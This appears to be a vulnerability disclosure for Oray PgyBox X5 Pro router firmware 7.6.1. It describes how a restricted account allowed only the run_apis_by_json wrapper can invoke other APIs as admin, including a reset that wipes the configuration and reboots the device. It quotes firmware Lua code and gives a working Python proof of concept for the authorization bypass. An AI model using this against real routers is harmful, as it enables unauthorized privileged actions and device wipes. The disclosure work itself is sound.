Oray PgyBox X5 Pro Router firmware 7.6.1 authorizes a restricted management account against the outer run_apis_by_json request but does not apply that account's API allowlist to the API named inside its JSON payload. The wrapper passes the nested request to oraybox_api, which invokes it as admin. An account allowed only run_apis_by_json can consequently reach the parameterless reset API, whose command clears the configuration and reboots the router.
The HTTP dispatcher in /www/cgi-bin/oraybox checks the requested API name against the authenticated non-admin user's allowlist. In allowlist mode, has_user_privilege_by_list() returns true only when that name is listed. Thus a user whose list contains run_apis_by_json passes the outer check even when the JSON body names another API:
-- Selected lines from /www/cgi-bin/oraybox and oraybox/privilege.lua
if user ~= "admin" and not m.i_do_not_need_password and
not oraybox.privilege.has_user_privilege_by_list(
privilege_mode, privilege_list, api_name()) then
error_output(oraybox.errorcode.permission_denied)
return
end
local output = m.index(args, user)
privilege_mode_white = 0
if tonumber(privilege_mode) == privilege_mode_white then
if privilege_list then
for _, v in ipairs(privilege_list) do
if v == api_name then return true end
end
end
return false
end
The 7.6.1 device test used net_watchdog_get to confirm this authorization boundary. A direct request from an account allowed only run_apis_by_json returned code: 101. The same API named inside the wrapper returned its full result with code: 0. The wrapper also passes _api=reset to the reset handler shown below.
The decoded /usr/lib/lua/oraybox/api/run_apis_by_json.lua passes args.auth to run_apis, but that function does not use it. A separate check_auth function is defined in the module and is not called by this route. After decoding and sorting the array, the wrapper sends each object to run_api, which builds a command-line invocation from its fields without checking the nested _api against the caller's privileges:
-- Selected lines from api/run_apis_by_json.lua
local function run_api(api)
local cmd = "oraybox_api "
local params = {}
for key, value in pairs(api) do
key = string.gsub(key, "'", "'\\''")
value = string.gsub(value, "'", "'\\''")
cmd = cmd .. "%s=%s"
params[#params + 1] = key
params[#params + 1] = value
end
return secure_exec.exec(cmd, unpack(params))
end
local function run_apis(apis)
table.sort(apis, function(a, b) return a.idx < b.idx end)
for i = 1, #apis do
apis[i].result = run_api(apis[i])
end
return oraybox.errorcode.success, apis
end
function index(args)
local code, apis = run_apis(luci.json.decode(args.apis), args.auth)
return {code = code, apis = apis}
end
A one-element array such as [{"_api":"reset"}] needs no idx for sorting. The firmware's secure_exec.so splits the fixed command template before substituting the two %s values, giving oraybox_api the argument _api=reset. The JSON filter checks the nested _api string for prohibited characters, which the literal reset does not contain.
/usr/sbin/oraybox_api parses that argument, loads oraybox.api.reset, and invokes index(args, "admin") without the HTTP caller's allowlist. The reset module needs no additional fields:
-- Selected lines from /usr/sbin/oraybox_api
local pos = str:find("=")
local key = str:sub(1, pos - 1)
local value = str:sub(pos + 1)
args[key] = value
local full_api_name = "oraybox.api." .. args._api
require(full_api_name)
local m = require(full_api_name)
local output = m.index(args, "admin")
-- /usr/lib/lua/oraybox/api/reset.lua
function index(args)
local ret_code = oraybox.errorcode.success
if secure_exec.call(
"ubus send sys_reset && /sbin/oraybox_sn -f >/dev/null && firstboot -y && sleep 3 && reboot &") ~= 0 then
ret_code = oraybox.errorcode.unknown
end
return {code = ret_code}
end
In the original firmware filesystem, /sbin/oraybox_sn is a symlink to /sbin/oray_utils. The ARM64 oraybox_sn -f branch updates its synchronization flag and returns success, allowing the && sequence to reach firstboot -y and reboot. The physical reset-button script /etc/rc.button/reset uses the same oraybox_sn -f and firstboot -y steps.
Set the router address and its current management password, then run this Python 3 block. It creates an account whose allowlist contains only the JSON wrapper and reproduces the recorded authorization test: direct net_watchdog_get returns code: 101, while the nested call returns a wrapper code: 0 and the API result.
export HOST=10.168.1.1
export ADMIN_PASSWORD='your-management-password'
export LIMITED_PASSWORD='Limited123'
python3 <<'PY'
import json
import os
import urllib.parse
import urllib.request
endpoint = f"http://{os.environ['HOST']}/cgi-bin/oraybox"
opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
def post(api, **fields):
body = urllib.parse.urlencode({'_api': api, **fields}).encode()
request = urllib.request.Request(endpoint, data=body, method='POST')
with opener.open(request, timeout=15) as response:
return json.load(response)
created = post('privilege_set', _pwd=os.environ['ADMIN_PASSWORD'],
optype='1', user_name='batchproof',
user_pwd=os.environ['LIMITED_PASSWORD'], privilege_mode='0',
privilege_list='run_apis_by_json')
assert created['code'] == 0, created
identity = {'_user': 'batchproof', '_pwd': os.environ['LIMITED_PASSWORD']}
direct = post('net_watchdog_get', **identity)
wrapped = post('run_apis_by_json', **identity,
apis=json.dumps([{'_api': 'net_watchdog_get'}],
separators=(',', ':')))
print('direct:', direct)
print('wrapped:', wrapped)
assert direct['code'] == 101 and wrapped['code'] == 0
PY